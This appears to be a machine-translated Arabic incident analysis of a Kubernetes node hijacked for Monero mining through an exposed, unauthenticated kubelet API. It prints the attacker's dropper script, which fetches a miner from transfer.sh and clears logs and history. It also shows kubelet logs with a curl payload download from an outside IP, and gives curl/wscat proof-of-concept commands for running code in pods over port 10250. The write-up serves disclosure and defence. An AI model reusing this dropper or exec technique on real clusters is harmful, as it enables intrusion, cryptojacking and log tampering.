تحليل الاختراق Kubernetes - مستتر عبر kubelet

لمعرفة شيء عن Kubernetes ، كان على المرء أن يعيش في كهف للسنوات الثلاث الماضية. تم بناء البنية التحتية لتطوير هاندي ، CI / CD والإنتاج على النظام البيئي متعدد المجموعات Kubernetes. يمكننا القول أننا من محبي Kubernetes في Handy ، ولهذا السبب فوجئنا جدًا عندما تم اختراق مجموعة Kubernetes الخاصة لزميلنا في نهاية الأسبوع الماضي.

فوجئوا - وابتهجوا ، لأنهم اكتشفوا في Kubernetes خلل غير معروف. في هذه المقالة ، سنلقي نظرة على كيفية اختراق مجموعة الزملاء وكيف أكدنا نتائجنا من خلال إعادة إنشاء هذا الهجوم في مجموعتنا الخاصة. تم اختبار الهجوم في Kubernetes 1.9 ، ولكن يمكن أن يعمل على مجموعات أقدم.

إخلاء المسؤولية : تدور هذه المقالة حول الخادم الشخصي لزميلنا. البنية التحتية هاندي تكنولوجيز لم تتعرض للخطر.

هاك

كانت المجموعة المعيبة هي عقدة نشر Kubernetes الوحيدة التي تعمل فوق Alpine Linux. كان أول مؤشر قرصنة عملية مشبوهة تعمل كعملية تابعة لبرنامج docker:

/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B 

يُعيد Curling curling النص التالي:

 Mining Proxy Online 

يبدو أن شخصًا ما قد وجد طريقة لوضع برامج التعدين المشفرة في حاوية عاملة وبدء العملية.

عند البحث عن ملف udevs في دليل تراكب الرصيف للحاوية (/ var / lib / docker / overlay2 / b5a8a22f1e41b3b1ce504a6c941fb2805c28a454f75e2831c3a38d4d35388bd7) ، نص قطري باسم " تم تنزيله وتنزيله" .

 #!/bin/bash yum install wget -y apt-get install wget -y PS2=$(ps aux | grep udevs | grep -v "grep" | wc -l) if [ $PS2 -eq 0 ]; then rm -rf /tmp/udevs* wget https://transfer.sh/JyRqn/nodepadxx --no-check-certificate -O /tmp/udevs fi if [[ $? -ne 0 && $PS2 -eq 0 ]]; then curl -sk https://transfer.sh/JyRqn/nodepadxx -o /tmp/udevs fi chmod +x /tmp/udevs chmod 777 /tmp/udevs if [ $PS2 -eq 0 ]; then /tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B fi if [[ $? -ne 0 && $PS2 -eq 0 ]]; then echo $? wget https://transfer.sh/9uRre/glibc-2.14.tar.gz --no-check-certificate -O /tmp/glibc-2.14.tar.gz && tar zxvf /tmp/glibc-2.14.tar.gz -C /tmp/ && export LD_LIBRARY_PATH=/tmp/opt/glibc-2.14/lib:$LD_LIBRARY_PATH && /tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B && echo "" > /var/log/wtmp && echo "" > /var/log/secure && history -c fi 

بالإضافة إلى ذلك ، يتم تعريف توقيع MD5 (a4404be67a41f144ea86a7838f357c26) لبرنامج / tmp / udevs على VirusTotal على أنه منجم Monero المحتمل:

لذا ، نعلم أن التكسير وضع بطريقة ما سكريبت kube.lock في الحاوية وقام بتشغيله . لكن كيف؟

كان الوصول العام لخادم kubernetes api مفتوحًا ، ولكنه محمي بمصادقة الشهادة. بادئ ذي بدء ، افترضنا هجومًا على سلسلة التوريد لإحدى الصور التي تعمل في المجموعة. ومع ذلك ، بعد دراسة سجلات kubelet ، لاحظنا شيئًا:

 /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing "من وقت التشغيل /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing 

يبدو أن التكسير كان بطريقة ما exec exec في kubelet. أصدرت جوجل بناء على طلب "مصادقة Kubelet" النص من وثائق Kubernetes:

بشكل افتراضي ، يتم التعامل مع الطلبات إلى نقطة نهاية kubelet HTTPS التي لم يتم رفضها بواسطة طرق المصادقة المكونة الأخرى كطلبات مجهولة مع النظام: اسم مستخدم مجهول والنظام: مجموعة غير مصادق .

المصادقة / التفويض Kubelet

إذا لم يتم تحديد علامات في Kubelet ، فسيتم استخدام وضع قبول طلبات واجهة برمجة التطبيقات التي لا تجتاز المصادقة افتراضيًا. ضع في اعتبارك أنه حتى يعمل رابط العقدة الرئيسية> ، يجب على خادم Kubernetes API تبادل المعلومات مع kubelet على العقد.

كما اتضح ، كشف خادم زميلنا علنًا أيضًا عن منافذ kubelet (tcp 10250 ، tcp 10255). على الرغم من أن الخطأ واضح ، سيكون من الجيد التحقق من كيفية نشر Kubernetes الخاصة بك.

إذا كان المستخدمون لديهم حق الوصول إلى العقد ، فإن واجهة برمجة تطبيقات kubelet هي مستتر يعمل بكامل طاقته إلى الكتلة التي لم تجتاز مصادقة API.

لذلك ، إذا كانت لديك مشاكل في تنشيط المصادقة والتخويل (عبر الويب ، RBAC ، وما إلى ذلك) ، فتأكد من حماية kubelet.

هناك أسئلة جدية حول أمن اتصالات Kubelet ، وهذه المشكلة تستحق المزيد من الاهتمام.

إثبات المفهوم

لإرسال الأوامر مباشرة إلى kubelet ، يجب عليك استخدام API كما هو موضح هنا:

يستمع Kubelet على منفذين: 10255 و 10250. الأول هو منفذ HTTP للقراءة فقط ، والثاني هو منفذ HTTPS يمكنه فعل أي شيء.

حدد أي عقدة في المجموعة وحاول إدراج القرون:

 curl --insecure https://kube-node-here:10250/pods | jq 

يشبه مسار exec ، الذي لم يتم توثيقه في صفحة kubelet ، مسار خادم API ، ولكنه يتطلب طلبين: POST أولي و GET لاحق مع عميل يدعم SPDY (أو عميل Websocket ، والذي يتم دعمه أيضًا).

قم بتشغيل الأمر في حاوية جارية عبر kubelet.

حدد الموقع الذي يعمل على العقدة التي تريد استهدافها في الطلب السابق. قم بتشغيل الاستعلام التالي باستخدام curl:

 curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1" 

سيؤدي ذلك إلى عرض استجابة برمز 302 ، الذي يعيد التوجيه إلى الدفق:

 < HTTP/2 302 < location: /cri/exec/PfWkLulG < content-type: text/plain; charset=utf-8 < content-length: 0 < date: Tue, 13 Mar 2018 19:21:00 GMT 

استخدم wscat لبدء البث:

 wscat -c "https://kube-node-here:10250/cri/exec/PfWkLulG" --no-check connected (press CTRL+C to quit) < < disconnected 

نظرًا لأننا قمنا للتو touch hello_world ، فإنه يقوم بإنشاء الملف وفصله. إذا كنت ترغب في تنفيذ أمر مع الإخراج ، سترى النتيجة بعد تنفيذ الأمر أعلاه.

الخلاصة

على الرغم من أن هذا السلوك يتوافق مع الوثائق ، إلا أن الكثيرين لا يعرفون أنه بدون التكوين الصحيح ، فإنهم يحصلون على ثغرة أمنية في بيئة Kubernetes متعددة المستخدمين.

لقد تناولنا إحدى مشكلات الأمان في Kubernetes. تعليق!

14 مارس 2018 باتش

بعد دراسة عميقة ، يبدو أنه حتى مع تمكين مصادقة Kubelet ، فإنه ينطبق فقط على منفذ HTTPS (10250). وهذا يعني أن منفذ HTTP للقراءة فقط (10255) لا يزال مفتوحًا بدون أي ميزات أمان بخلاف قوائم التحكم في الوصول للشبكة.

يمكن لمنفذ القراءة سرد مواصفات الموقد على مسار /pods ، مما يعني الوصول إلى البيانات الحساسة ، مثل متغيرات البيئة.

قبل 28 يومًا فقط ، تم تغيير الرمز بحيث تم تعطيل منفذ غير آمن افتراضيًا.

الأصل: تحليل اختراق Kubernetes - الباب الخلفي من خلال kubelet